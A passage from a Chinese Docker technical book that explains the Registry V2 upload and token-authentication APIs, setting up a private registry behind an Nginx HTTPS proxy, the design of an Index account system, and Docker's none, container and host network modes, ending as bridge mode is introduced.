其中，Location字段指定了上传的URL地址，接下来的上传过程都会指向这个地址。<uuid>经过了base64格式编码，内容对于用户是不透明的，防止uuid被修改或者伪造。在持续上传layer的过程中，用户会用到Docker-Upload-UUID字段。这是为了把本地上传状态和远端关联起来，作为判断上传状态的条件。

开始上传之前，用户会检查layer是否已经在仓库里存在。检查的动作通过发送一个API请求来实现：

HEAD /v2/<name>/blobs/<digest>

Registry存放着layer数据的校验码。如果Registry根据digest参数找到了相应的layer校验码，则认为layer已经存在于Registry。接下来返回响应信息给用户：

200 OK
Content-Length: <length of blob>
Docker-Content-Digest: <digest>

用户从“200 OK”的状态响应中得知，layer数据已经存在于Registry，不会再继续执行上传动作。

（2）上传过程

Registry支持两种模式上传layer：整体上传（Monolithic Upload）模式和分段上传（Chunked Upload）模式。下面分别介绍两种模式的工作原理。

·整体上传模式

layer数据作为一个整体，一次性上传到Registry仓库，从而降低了上传过程的复杂性。整体上传请求格式表示为：

PUT /v2/<name>/blobs/uploads/<uuid>?digest=<tarsum>[&digest=sha256:<hex digest>]
Content-Length: <size of layer>
Content-Type: application/octet-stream
<Layer Binary Data>

请求命令行必须包含digest参数，表示layer数据的哈希校验码；头信息包含表示数据长度和数据类型的字段。

用户也可以通过一个POST请求结束上传，格式与上面的请求相同：

POST /v2/<name>/blobs/uploads/?digest=<tarsum>[&digest=sha256:<hex digest>]
Content-Length: <size of layer>
Content-Type: application/octet-stream
<Layer Binary Data>

Registry接收到请求之后，会验证上传来的layer数据，并把验证结果通过响应返回给用户。假如上传失败，Registry会发送错误的响应给用户，并向响应头信息加上Location字段，指明失败对象的路径，使用户可以重新上传。

·分段上传模式

在该模式下，用户会把一笔layer数据分割成几段，每次请求上传一段。请求头信息Content-Length和Content-Range字段表明了数据段的长度和偏移范围。完整的请求格式如下：

PATCH /v2/<name>/blobs/uploads/<uuid>
Content-Length: <size of chunk>
Content-Range: <start of range>-<end of range>
Content-Type: application/octet-stream
<Layer Chunk Binary Data>

如何分割layer数据没有强制要求，不过Registry必须依照上传顺序接收数据。Registry可以规定上传数据的长度范围，如果用户上传的数据长度超出了范围，就会返回如下错误信息：

416 Requested Range Not Satisfiable
Location: /v2/<name>/blobs/uploads/<uuid>
Range: 0-<last valid range>
Content-Length: 0
Docker-Upload-UUID: <uuid>

通常如下两种情况下Registry会报出416的错误响应：

1）请求头信息中Content-Range字段格式不符合Registry要求；

2）数据段没有按顺序上传给Registry。

用户收到错误返回之后，应该从last valid range参数指定的位置继续上传数据。Registry成功接收数据后返回的信息如下：

202 Accepted
Location: /v2/<name>/blobs/uploads/<uuid>
Range: bytes=0-<offset>
Content-Length: 0
Docker-Upload-UUID: <uuid>

用户上传最后一个数据段的时候，发送的请求会与上面有所不同，如下所示：

PUT /v2/<name>/blob/uploads/<uuid>?digest=<tarsum>[&digest=sha256:<hex digest>]
Content-Length: <size of chunk>
Content-Range: <start of range>-<end of range>
Content-Type: application/octet-stream
<Last Layer Chunk Binary Data>

如果用户不发送这条请求，Registry会认为layer还没有上传完。如果layer数据段已经存在于Registry，用户需要把layer的digest发送PUT请求到Registry，请求Body置空，通过这条请求就可表示完成了一次上传。

Registry从<tarsum>获取到校验码后，会校验上传的layer数据。如果成功返回则响应如下：

201 Created
Location: /v2/<name>/blobs/<tarsum>
Content-Length: 0
Docker-Content-Digest: <digest>

·201 Created状态响应表示layer在仓库中成功建立；

·Location字段表示layer在仓库的URL地址；

·Docker-Content-Digest字段包含了layer的完整性校验码。

用户通常会忽略Docker-Content-Digest信息，但为安全起见，建议用它校验本次上传的layer数据的完整性。

在两种上传模式中，如果用户想知道某时刻的上传进度，只要发送一个查询请求，如下所示：

GET /v2/<name>/blobs/uploads/<uuid>
Host: <registry host>

如果上传已经完成，状态返回值是202 Accepted，反之返回204 No Content。

（3）取消上传

如果镜像数据在上传途中因故要取消，用户可发送DELETE请求，Registry接收到请求之后会丢弃掉之前的上传数据，且不会记录镜像的<uuid>。命令如下：

DELETE /v2/<name>/blobs/uploads/<uuid>

上传如果没有完成，Registry将对这次过程作超时处理。若用户端遇到严重的问题无法正确上传，但是HTTP请求还在工作，则可以主动发送取消命令。

（4）上传Manifest

全部layer数据上传完成之后，开始上传Manifest。

PUT /v2/<name>/manifests/<reference>
{
"name": <name>,
"tag": <tag>,
"fsLayers": [
{
"blobSum": <tarsum>
},
...
],
"history": <v1 images>,
"signature": <JWS>,
...
}

请求URL中的<reference>表示这次上传的是指定的镜像<tag>或是<digest>，其中的<name>和<digest>要和整个上传过程保持一致，否则Registry会返回错误。如果Manifest里面带入的layer digest在Registry中没有记录，Registry将返回错误BLOB_UNKNOWN，认为layer无法识别，如下：

{
"errors:" [{
"code": "BLOB_UNKNOWN",
"message": "blob unknown to registry",
"detail": {
"digest": <tarsum>
}
},
...
]
}

4.3.4　鉴权机制

鉴权机制是Registry V2版本之后新增加的功能，目的是校验用户请求权限。和Github类似，Registry的内部仓库分为公有和私有，私有仓库只允许特定用户访问，这种校验和控制访问权限的任务由Docker Engine、Registry和Auth Server协作完成。

外来的Registry HTTP请求由不同的客户端发起，Registry只有验证到请求由哪个用户发起，这次请求访问的资源是否对这个用户开放之后，才会允许请求继续。鉴权认证功能保证了Registry访问安全可控。

Auth Server根据Oauth 2.0协议生成token供Registry认证用户请求。token依照JSON Web Token（JWT）规范，在内容里包含Registry用到的域关键字如typ、alg和kid等。

为使能鉴权功能，Registry要在Auth接口上配置相关选项，其格式如下：

auth:
token:
realm: "https://127.0.0.1:5001/auth"
service: "Docker registry"
issuer: "My Auth Server"
rootcertbundle: "/path/to/server.pem"

Auth Server由Registry开发者部署搭建，Registry完全信任Auth Server；Registry和Auth Server之间以证书（open SSL）作为凭据认证token，Auth Server生成和保存pem证书和秘钥key，Registry导入Server发放的证书；Server把签过用户名的token返回给用户，用户用这个token去Registry作鉴权认证。

结合上面讲到的镜像上传过程，带有鉴权功能的整个上传过程大致分为六个步骤，如图4-11所示。

图4-11　Registry访问+认证流程图[1]

鉴权是针对一次完整的push或pull过程的，Docker Engine在push或pull过程中会调用一系列Registry API，就如在上一节中所介绍的。鉴权之后产生token，每一次API访问都带有含认证信息的token，Registry就是通过校验token来接受API访问的。

在上传过程中，首先，用户发起上传请求，请求通过Docker Engine，依照Registry API协议发送给Registry。Engine试图赋给HTTP请求一个鉴权的token；如果没有token，daemon会试图更新（refresh/fetch）一个新的token。

请求中包含了一系列的REST API方法（如PUT、GET、DELETE、POST、PATCH等）。因为push和pull的行为包含了这样一组方法，所以在Registry作为HTTP server运行的时候，就会通过方法注册的回调机制来判断方法所对应的后面的资源（digest描述的对象）是不是和从token解析出来的参数匹配。

第二步，如果用户请求没有做过认证并且请求中不带token，则Registry将会返回401 Unauthorized状态，并告诉用户端Auth Server地址，要求用户去认证。

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="https://auth.docker.com/v2/token/",service= "registry.docker.com",scope="repository:samalba/my-app:push"

这里的realm、service、scope等都是遵循Oauth 2.0协议的关键字。scope的内容格式是<resource>：<path>：<action>。以上面返回的信息为例，用户访问Registry的前提是从Auth Server获得token，且包含push samalba/my-app这个仓库资源的权限。

注意

理论上<resource>可以被设计成具体仓库以外形式的资源（如namespace），那么一旦认证，client就可以访问（push）整个namespace了。

第三步，用户带着Registry返回的信息以及用户证书去访问Auth Server（地址包含在返回信息中）申请token。访问如下：

GET /v2/token/?service=registry.docker.com&scope=repository:samalba/my-app:push&account=jlhawn HTTP/1.1
Host: <registry address>

第四步，Auth Server后端账户系统记录着用户名和密码，获取到当前访问用户的名字和密码后，依照JWT格式生成带有鉴权信息的token返回给用户。

密码以密文方式保证安全性，解密通过bcrypt算法，实现平台通常提供了相应的函数库。Auth Server可以通过灵活设计接口来提供一个或者多个认证源，包括基本的本地认证（basic auth），以及第三方账户认证。

此时，Auth Server生成token，作为响应返回：

HTTP/1.1 200 OK
Content-Type: application/json
{"token": "<token content>"}

token包含头信息、Claims Set和签名这三部分信息。

·头信息

头信息如下：

{
"typ": "JWT",
"alg": "ES256",
"kid": "PYYO:TEWU:V7JH:26JV:AQTZ:LJC3:SXVJ:XGHA:34F2:2LAQ:ZRMK:Z7Q6"
}

其中，typ表示token类型，alg表示签名算法，kid表示秘钥key的ID，秘钥用来给token签名。

·Claims Set

Claims Set是JSON格式的字段，包含token的请求信息。

{
"iss": "auth.server.com",
"sub": "jlhawn",
"aud": "my.registry.io",
"exp": 1415387315,
"nbf": 1415387015,
"iat": 1415387015,
"jti": "tYJCO1c6cnyy7kAn0c7rKPgbV1H1bFws",
"access": [
{
"type": "repository",
"name": "samalba/my-app",
"actions": [
"push"
]
}
]
}

其中iss表示Auth Server域名；sub表示用户名；aud表示校验token方（这里指Registry）的域名；exp、nfb和iat表示token的有效期；jti表示token的唯一标识符；access数组表示访问对象的实体。

·签名

签名使用秘钥对头信息和Claims Set实体进行base64编码，然后合并编码结果生成token。

第五步，用户带着获取的token再次访问Registry，头信息包含关键字Authorization：

Authorization: Bearer <token content>

第六步，Registry校验token，校验对象包括：

·Auth Server域名得到Registry认可；

·token标示符是唯一的；

·token在有效期；

·token中访问对象信息和用户访问匹配。

校验成功后用户上传获得鉴权，开始上传。

[1] 此图源于：https://github.com/docker/distribution/blob/master/docs/spec/auth/token.md。

4.4　部署私有仓库

4.4.1　运行私有服务

Docker私有服务（private registry）用来建设私有仓库，管理私有Docker镜像。部署私有服务的优点有：

·可独立开发和运维私有仓库；

·节省带宽资源；

·有独立的账户管理系统；

·增加了定制化功能。

搭建私有仓库的前提是部署Docker Private Registry。Registry的运行命令如下：

$ docker run -d --hostname localhost --name registry-v2 \
-v /opt/data/distribution:/var/lib/registry/docker/registry/v2 \
-p 5000:5000 registry:2.0

基础镜像可以基于Docker Registry官方代码编译（https://github.com/docker/distribution）。

上面运行一个名为registry-v2的服务时，命令中的-v选项会把本地某个目录mount到容器内镜像存储目录，方便开发者查看和管理本地镜像数据。

这里为了演示，让Registry向外暴露了端口5000，这样一来，任何可以访问这台主机的用户都可以向Registry上传或下载镜像。比如，可用上面介绍Registry时演示的针对私有仓库的push/pull命令完成操作：

$ docker push localhost:5000/official/ubuntu:14.04

push后面指明了服务主机名或域名localhost，5000代表对外端口，后面跟随的是具体仓库的名称。这样访问该主机的用户就都可以上传或下载镜像了。

4.4.2　构建反向代理

在实际使用中，暴露主机端口的方法是不安全的，如果Registry没有配置访问代理，任何用户都是可以直接通过端口访问的。因此，设计时需要为其加上HTTPS反向代理。该方式会用代理服务器来接受用户HTTPS请求，然后将请求转发给内部网络上的Registry服务器，并将Registry响应结果返回给用户。请求经过代理服务的方式保证了对内部服务器的安全访问。

假设私有仓库的地址是https://my.docker.io，一个简单的私有Registry（Hub）结构则如图4-12所示。

加上反向代理之后私有仓库会分发证书给用户，用户通过HTTPS协议才能够访问想要访问的主机，提升了用户访问的可靠性和安全性。Registry作为后端不会对外暴露端口，一定程度上保护了Registry不受外部非法访问攻击，唯一可以访问的端口是HTTPS协议规定的443或是80端口。

图4-12　私有仓库架构图

在很多设计中，前端的HTTPS代理会采用Transport Layer Security（TLS）安全模式或者Nginx反向代理技术，这里以Nginx为例分析前端反向代理的部署方法。

开源社区上提供了一些在Docker Registry上用Nginx实现反向代理的方法。这里以opendns组织下的nginx-auth-proxy开源项目（https://github.com/opendns/nginx-auth-proxy）为例，实现Docker Registry的反向代理功能。

在实现反向代理功能时，先要生成服务器的一对秘钥和根证书，下面看看如何用openssl命令生成自签名证书。

首先生成私钥文件server.key：

$ openssl genrsa -out server.key 2048

再生成根证书文件server.pem：

$ openssl req -newkey rsa:2048 -nodes -keyout server.key \
-x509 -days 3650 -out server.pem -subj \
"/C=CN/ST=state/L=city/O=Your Company Name/OU=localhost"

下面将pem编码格式的证书转换成crt扩展名证书，放到系统证书目录（用户访问Registry之前需要作这一步）：

$ cat server.pem | sudo tee -a /etc/ssl/certs/server.crt

Nginx把生成好的证书通过Dockerfile加载到镜像中：

ADD server.crt /etc/ssl/certs/docker-registry
ADD server.key /etc/ssl/private/docker-registry

相应的，在Nginx配置文件<nginx conf>里使能SSL功能：

ssl on;
ssl_certificate /etc/ssl/certs/docker-registry;
ssl_certificate_key /etc/ssl/private/docker-registry;

Nginx里面记录了访问服务器的用户名和密码，htpasswd命令会生成含有多组用户名和密码的文件。把htpasswd文件挂载到<nginx conf>里面，用户访问的时候Nginx会去文件里面查询和校验用户信息是否匹配，匹配成功访问才能继续。

auth_basic_user_file  <htpasswd file name>;

运行Nginx容器后，启动代理功能：

docker run -d --hostname my.docker.io --name nginx \
--link registry:registry -p 443:443 nginx

查看容器运行状态：

CONTAINER ID IMAGE           COMMAND                CREATED     STATUS   PORTS
9ec98a841e9  nginx:latest    "/bin/sh –c /start.sh" 5 hours ago 80/tcp, 0.0.0.0:443->443/tcp      nginx
99fe78c2f625 registry:latest "docker-registry"      5 hours ago 5000/tcp registry

这里要使仓库的域名成为主机名，这样它才能被识别，Nginx通过地址http://docker-registry本机内访问Registry，并添加my.docker.io进系统配置/etc/hosts。此时访问仓库就需要通过HTTPS协议了，Windows浏览器通过Registry主机IP地址也可以访问Registry。Registry不对外暴露端口。

$ curl -k -X GET https://my.docker.io/v2/
{}

Nginx对Registry服务器资源访问权限的控制，是通过写在代理配置文件中的Nginx代码实现的。下面介绍配置文件的基本内容和作用。

配置项proxy_pass表示代理转发对象的IP，如上面的Registry对象会表示为：

proxy_pass  http://registry:5000;

请求转发的时候要附上必要的请求头信息，头信息的字段内容也在配置文件定义。定义的内容大致包含虚拟主机地址、远程主机地址、访问token、服务器IP和端口等，如下所示：

proxy_set_header  Host             $http_host;
proxy_set_header  X-Real-IP        $remote_addr;
proxy_set_header  Authorization    "";
proxy_set_header  Accept-Encoding  "";
proxy_set_header  X-Forwarded-By   $server_addr:$server_port;
proxy_set_header  X-Forwarded-For  $remote_addr;

Registry服务路径下的资源访问权限通过配置Nginx location域来设置。路径资源可以被用户访问而不需要鉴权的情况下，Nginx的配置如下：

location /v2/ {
auth_basic off;
proxy_pass                http://docker-registry;
}

资源访问受限，需要用户密码的情况下，Nginx的配置如下：

location /auth {
auth_basic            "Restricted";
auth_basic_user_file  passwd;
proxy_pass             http://docker-registry;
}

用户如想上传私有镜像到Registry，就要先登录Registry域，命令如下：

$ docker login -u <user name> -p <password> -e <email> my.registry.io

4.5　Index及仓库高级功能

4.5.1　Index的作用和组成

按照上一节介绍的方法，搭建起来的私有仓库只具备镜像存储和安全访问功能，而不具备账户管理功能。要实现完整的解决方案，Docker开发者需要设计Docker Index用户管理系统。先来看看Index和Registry的关系，如图4-13所示。

图4-13　Registry和Index交互过程[1]

Index主要包括以下几项作用：

·管理Docker Private Hub注册用户，认证用户访问权限；

·保存记录和更新用户信息，以及token等校验信息；

·Docker元数据（metadata）存储；

·记录用户操作镜像的历史数据；

·提供操作界面Web UI，用户可以方便地访问和更新资源。

Index主要由几个子模块组成，包括控制单元、鉴权模块、数据库、健康检查模块和日志系统等。这里给出一个Index的参考设计，如图4-14所示。

图4-14　Index设计架构

[1] 该图源于：https://github.com/docker/distribution/blob/master/docs/spec/auth/token.md。

4.5.2　控制单元

控制单元负责搭建HTTPS服务，运行在Index上层。它和周边模块通信，实现用户扩展功能。模块对上层提供信息交互的接口，把上层用户的请求封装传递给下层接收模块作处理，再把接收的返回信息（如仓库镜像上传下载的结果等）传回给上层应用。它的内部组件如图4-15所示。

图4-15　控制单元内部组件图

模块构建了一个HTTP Server，上面封装了TLS，以实现HTTPS方式安全访问。此外，还设计了一个Application添加到Server，成为一个独立运行的Web App。对于查询、删除镜像和设置仓库属性等用户功能，Registry没有直接提供API接口，需要自己实现，把实现这几项功能的代码注册成为App回调函数。用户发送HTTP请求时，App从数据库返回结果给用户。

要让Index工作，需要预先配置若干环境变量，如鉴权地址、端口参数和数据库参数等。控制单元把这些参数从配置文件读出解析，根据环境变量配置工作模式或是传递给周边单元。

有些用户操作信息需要被记录在数据库中，如某个镜像被上传、下载及关注的次数等，但这些无法直接从Registry获取，因此，需要Index控制单元通过接收和处理外部请求或通知来获取，实现步骤如下：

1）控制单元中实现一系列上述功能的Handler处理函数，注册到Index HTTP Server；

2）Registry处理一个用户上传或下载镜像的请求后，会通过内部的Broadcast模块通知远端的Index接收该事件，其中包含用户名、操作行为、操作对象、镜像名和操作状态等信息；

3）控制单元对收到的事件信息进行判断，若判断出是一次成功的上传或下载操作，就把需要记录的信息封装并发送给数据库接口；

4）对于关注镜像的操作，控制单元内部会实现一个Rest API。收到用户的关注请求后，API就把关注成功的响应返回给用户，同时把关注信息发送给数据库接口。

4.5.3　鉴权模块

鉴权模块（Auth Server）是Index内部负责对Registry API请求提供鉴权token的模块。前文详细分析了Registry鉴权接口和用户鉴权请求的工作流程，这里介绍生成token的过程。

Auth Server是Index中一个单独定义的路径（与Registry鉴权接口的注册路径匹配），以HTTP Handler机制实现。

Server收到用户请求后，首先提取和解析用户名、密码、用户操作行为和用户访问对象等信息。数据库记录着用户的信息和权限，Server会判断传进来的用户名和密码是否和数据库记录的信息一致，然后确认用户是否有访问对象的权限。认证通过之后，Server根据JWT规范补全token信息，并生成签名校验码。最后，Server对token进行base64编码，把编码后的token字段返回给用户。

对于第三方用户的请求，Index Auth Server会把用户请求转发给第三方Server，获取认证结果后保存第三方token到数据库以避免重复认证，最后用上面介绍的方法生成Registry识别的token返回给用户。

注意

第三方用户是指没有在Docker Index上注册，而是在其他Server网站或系统上注册的用户。如果Index允许这些Server的用户直接访问Registry，则会通过第三方Server认证并由Index Auth Server发放token给这类用户访问Registry。

4.5.4　数据库

用户和仓库相关的需要长期保存的信息统一存放到数据库中，如MySQL。Index数据库需要实现包括用户信息、镜像信息、身份信息等在内的几张表，如图4-16所示。

图4-16　Index数据库示意图

用户信息包括用户名、密码、邮箱、用户所在组织等。用户名、密码和邮箱在用户注册和登录时使用，作为校验信息。用户所在的组织涉及用户仓库路径和用户访问范围。组织管理员可以批量设置仓库访问权限，可只允许内部成员访问，对外不可见，这样方便批量管理仓库。用户在仓库中分配有一定配额，通过付费方式可以升级。

镜像信息为上传、下载和查询等行为提供了判断条件。每个镜像属于一个仓库，记录仓库信息便于批量管理镜像。标签（tag）是镜像的标识，用户可通过标签访问镜像。镜像包含一系列数据层（layer），layer可以在不同镜像之间共享，记录layer信息则可统计仓库真实的使用空间。记录镜像访问次数可以统计镜像的活跃程度。

在镜像和用户之间建立关联表可以统计用户名下的全部镜像，计算用户使用空间。用户角色表用于区别一般用户和管理员用户，判断用户访问仓库的行为权限和访问范围。用户和角色关联表把每个用户和他的权限进行了关联，Index可以根据用户角色判断用户是否有权访问镜像。

数据库里记录了镜像仓库的属性，包括公有属性和私有属性。公有仓库对所有用户开放，而私有仓库只对拥有该仓库的用户开放。

Index通过数据库逻辑层访问数据库。在此过程中，Index会访问数组成员的字段，访问操作包括创建、查询、升级和删除等。逻辑层提供统一接口，针对不同的数据结构创建不同的函数方法。

4.5.5　高级功能

1.仓库镜像查询

假设用户输入一个仓库名称，希望返回所有用户可以访问的仓库列表。仓库管理属于Index职责，Registry（V2）本身不提供查询功能，它依赖Index数据库实现查询，因为数据库记录了所有仓库镜像的名称和属性。用户发送的查询请求为：

GET /index/search?q=<repo name>
Authorization: Bearer <token content>

Index则根据token验证用户是否已经注册。对没有注册的用户只返回公有仓库匹配结果；对注册用户就返回公有仓库和与用户访问权限匹配的私有仓库结果。

2.记录仓库镜像活动

Registry具有事件通知功能（包括元数据和镜像上传下载事件），它通过HTTP请求将事件发送到远端Server（Index接收端）。

GET /index/event
Authorization: Bearer <token content>

事件以JSON格式发送：

{
"id": "asdf-asdf-asdf-asdf-0",
"timestamp": "2006-01-02T15:04:05Z",
"action": "push",
"target": {
"mediaType": "application/vnd.docker.distribution.manifest.v1+json",
"length": 1,
"digest": "sha256:0123456789abcdef0",
"repository": "library/test",
"url": "http://example.com/v2/library/test/manifests/latest"
},
"request": {
"id": "asdfasdf",
"addr": "client.local",
"host": "registrycluster.local",
"method": "PUT",
"useragent": "test/0.1"
},
"actor": {
"name": "test-actor"
},
"source": {
"addr": "hostname.local:port"
}
}

事件是作为请求内容发送给Index的。其内容包含Registry收到的用户请求细节，包括用户正在访问哪一个镜像，在进行什么操作，以及操作的进度等。Index把解析出来的有用信息作为仓库活动记录在数据库，并可以由此统计每一个仓库的活跃度。

4.5.6　Index客户端界面

有了上面的介绍和分析，我们对Docker仓库、服务和账户管理系统有了大致的了解，它们构成了完整Docker Hub服务器。用户要访问远端的服务器，就要使用远程HTTPS命令，或者通过Docker仓库（私有）网站的界面（Web UI）来实现（如图4-17所示）。

注意

好像目前还没有比较完备的Docker客户端工具，可能因为Docker效仿的Github没有客户端。不过也许开发一款集成编译、运行、仓库访问、日志显示的客户端工具后，就可以使开发者脱离Engine环境更好地体验开发的乐趣了。

图4-17　界面和服务关系示意图

客户端界面会把后台服务器提供的功能直观地呈现给用户，如账户系统、仓库访问和在线编译等，类似Docker官方Hub网站提供的内容。前面详细介绍了Docker Hub网站的风格和主要功能，这里不再重复。

4.6　本章小结

通过本章的介绍，读者了解了Docker Registry的作用和实现原理，以及一些重要的扩展功能。

Docker Registry在演进过程中，功能和性能都在不断得到提升：镜像上传和下载的执行效率获得提高；Registry后端存储兼容了业界主流的分布式存储模式，使用者有了更多的选择；利用了Nginx和Docker Compose技术可使多机部署更加容易；软件上实现了支持外部插件，使用者可以根据自己的需求开发插件，控制Registry行为。

未来，开发者会进一步丰富Docker Registry的功能，提升运行的稳定性，把Registry打造成为Docker核心服务之一。

第5章　Docker网络

5.1　Docker网络现状

随着Docker的迅速流行，越来越多的厂商开始探索Docker在实际生产环境中的应用，其中又以云计算厂商为主流。迅速的流行也导致了Docker网络方面的短板早早地就暴露了出来——性能低下、功能不足，Docker网络成为了广受诟病的一大缺陷，在部署大规模Docker集群时，网络也成为了最大的挑战。

纯粹的Docker原生网络功能无法满足广大云计算厂商的需要，于是一大批第三方的SDN解决方案如雨后春笋般涌现出来，如Pipework、Weave、Flannel、SocketPlane等，这些优秀的开源软件弥补了Docker网络方面的不足，Docker公司似乎也乐于见到并鼓励用户使用第三方的方案来满足形形色色的网络需求。

2015年3月，Docker宣布收购SocketPlane，随后SocketPlane社区开始沉寂，一个新的Docker子项目“Libnetwork”开始酝酿。一个月后，Libnetwork[1]在github上正式与开发者见面，预示着Docker开始在网络方面发力。

提示

git log显示，实际上早在2015年2月19日Libnetwork就提交了第一次commit，这也就意味着Libnetwork的生日实际上是2月19日。

Libnetwork提出了新的容器网络模型（Container Network Model，简称CNM），定义了标准的API用于为容器配置网络，其底层可以适配各种网络驱动（如图5-1所示）。CNM有三个重要的概念：

·沙盒。沙盒是一个隔离的网络运行环境，保存了容器网络栈的配置，包括了对网络接口、路由表和DNS配置的管理。在Linux平台上，沙盒是用Linux Network Namespace实现的，在其他平台上可能是不同的概念，如FreeBSD Jail。一个沙盒可以包括来自多个网络的多个Endpoint（端点）。

·Endpoint。Endpoint将沙盒加入一个网络，Endpoint的实现可以是一对veth pair或者OVS内部端口，当前的Libnetwork使用的是veth pair。一个Endpoint只能隶属于一个沙盒及一个网络。通过给沙盒增加多个Endpoint可以将一个沙盒加入多个网络。

·网络。网络包括一组能互相通信的Endpoint。网络的实现可以是Linux bridge、vlan等。

图5-1　CNM概念模型

从CNM的概念角度讲，Libnetwork的出现使得Docker具备了跨主机多子网的能力，同一个子网内的不同容器可以运行在不同主机上。比如，同属于192.168.0.0/24子网IP地址分别为192.168.0.1和192.168.0.2的容器可以位于不同的主机上且可以直接通信，而持有IP 192.168.1.1的容器即使与IP为192.168.0.1的容器处于同一主机也不能互通。

到本书写成为止，Libnetwork已经实现了五种驱动（driver）：

·bridge：Docker默认的容器网络驱动。Container通过一对veth pair连接到docker0网桥上，由Docker为容器动态分配IP及配置路由、防火墙规则等。

·host：容器与主机共享同一Network Namespace，共享同一套网络协议栈、路由表及iptables规则等。容器与主机看到的是相同的网络视图。

·null：容器内网络配置为空，需要用户手动为容器配置网络接口及路由等。

·remote：Docker网络插件的实现。Remote driver使得Libnetwork可以通过HTTP RESTful API对接第三方的网络方案，类似SocketPlane的SDN方案只要实现了约定的HTTP URL处理函数及底层的网络接口配置方法，就可以替换Docker原生的网络实现。

·overlay：Docker原生的跨主机多子网网络方案。主要通过使用Linux bridge和vxlan隧道实现，底层通过类似于etcd或consul的KV存储系统实现多机的信息同步。overlay驱动当前还未正式发布，但开发者可以通过编译实验版的Docker来尝试使用，Docker实验版同时提供了额外的network和service子命令来进行更灵活的网络操作，不过，需要内核版本>=3.16才可正常使用。

以上五种驱动已经随Docker 1.8一同发布，而overlay driver可能要在Docker的下一版本中才会正式投入使用，相信届时会为Docker的网络能力带来质的提升。

[1] Libnetwork 源码地址：https://github.com/docker/libnetwork.git。

5.2　基本网络配置

5.2.1　Docker网络初探

Linux平台下，Docker容器网络资源通过内核的Network Namespace机制实现隔离，不同的Network Namespace有各自的网络设备、协议栈、路由表、防火墙规则等，反之，同一Network Namespace下的进程共享同一网络视图。通过对Network Namespace的灵活操纵，Docker提供了五种容器网络模式，下面分别进行介绍。

1）none：不为容器配置任何网络功能。

在该模式下，需要以--net=none参数启动容器：

$ docker run --net=none -ti ubuntu:latest ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever

可以看到Docker容器仅有一lo环回接口，用户使用--net=none启动容器之后，仍然可以手动为容器配置网络。

2）container：与另一个运行中的容器共享Network Namespace，共享相同的网络视图。

举个例子，首先以默认网络配置（bridge模式）启动一个容器，设置hostname为dockerNet，dns为8.8.4.4。

$ docker run -h dockerNet --dns 8.8.4.4 -tid ubuntu:latest bash
d25864df1a3bbdd40613552197bd1a965acaf7f3dcb2673d50c875d4a303a67f
$ docker exec -ti d25864df1a3b bash
root@dockerNet:/# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
1739: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:01 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:1/64 scope link
valid_lft forever preferred_lft forever
root@dockerNet:/# cat /etc/resolv.conf
nameserver 8.8.4.4
root@dockerNet:/# exit
exit

然后以--net=container：d25864df1a3b方式启动另一个容器：

$ docker run --net=container:d25864df1a3b -ti ubuntu:latest bash
root@dockerNet:/# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
1739: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:01 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:1/64 scope link
valid_lft forever preferred_lft forever
root@dockerNet:/# cat /etc/resolv.conf
nameserver 8.8.4.4

可以看到，使用--net=container：d25864df1a3b参数启动的容器，其IP地址、DNS、hostname都继承了容器d25864df1a3b。实质上两个容器是共享同一个Network Namespace的，自然网络配置也是完全相同的。

3）host：与主机共享Root Network Namespace，容器有完整的权限可以操纵主机的协议栈、路由表和防火墙等，所以被认为是不安全的。

相应的，host模式启动时需要指定--net=host参数。举个例子：

$ docker run -ti --net=host ubuntu:latest bash
root@darcy-HP:/# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN
group default qlen 1000
link/ether 2c:41:38:9e:e4:d5 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
group default qlen 1000
link/ether 00:1b:21:cc:ee:6d brd ff:ff:ff:ff:ff:ff
inet 10.110.52.38/22 brd 10.110.55.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::21b:21ff:fecc:ee6d/64 scope link
valid_lft forever preferred_lft forever
1642: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
group default
link/ether 22:f2:f3:18:62:5d brd ff:ff:ff:ff:ff:ff
inet 172.17.42.1/16 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::348e:71ff:fe44:2d41/64 scope link
valid_lft forever preferred_lft forever

host模式下，容器可以操纵主机的网络配置，这是危险的，除非万不得已，应该尽可能避免使用host模式。

4）bridge：Docker设计的NAT网络模型。

